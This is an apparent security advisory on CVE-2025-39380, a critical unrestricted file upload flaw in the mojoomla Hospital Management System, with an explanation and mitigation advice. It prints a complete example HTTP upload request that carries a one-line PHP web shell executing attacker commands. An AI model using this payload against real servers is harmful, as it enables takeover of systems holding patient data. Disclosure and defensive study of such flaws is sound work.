Overview
CVE-2025-39380 is a critical vulnerability found in the mojoomla Hospital Management System. This system is used by healthcare organizations worldwide, making it a significant target. This vulnerability, classified as an Unrestricted File Upload vulnerability, allows an attacker to upload malicious files, such as a web shell, onto a web server. This could potentially compromise the entire system or lead to substantial data leakage. Given the sensitive nature of the data involved, it’s crucial for organizations using this system to understand the threat and take swift action to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-39380
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
Affected Products
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Product | Affected Versions
Mojoomla Hospital Management System | All versions up to 47.0
How the Exploit Works
The vulnerability lies in the file upload mechanism of the Mojoola Hospital Management System. Specifically, it doesn’t adequately validate or restrict the types of files that can be uploaded. This allows an attacker to upload a malicious file, typically a web shell, onto the server. A web shell is a script that enables remote administration of the machine. Once the web shell is uploaded and executed, the attacker can perform a variety of operations, such as data theft, server takeover, or launching further attacks against other parts of the network.
Conceptual Example Code
Below is a simplified, conceptual example of how the vulnerability might be exploited. This example involves a malicious HTTP POST request to upload a web shell:
POST /file_upload HTTP/1.1
Host: targethospital.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This request attempts to upload a PHP web shell, which, if successful, would enable the attacker to execute arbitrary commands on the server.
Mitigation Guidance
The vendor has released a patch to fix this vulnerability, and all users are strongly urged to apply this update as soon as possible. In the meantime, or if patching is not immediately feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. However, these are only temporary measures, and patching the system is the only way to fully mitigate the risk.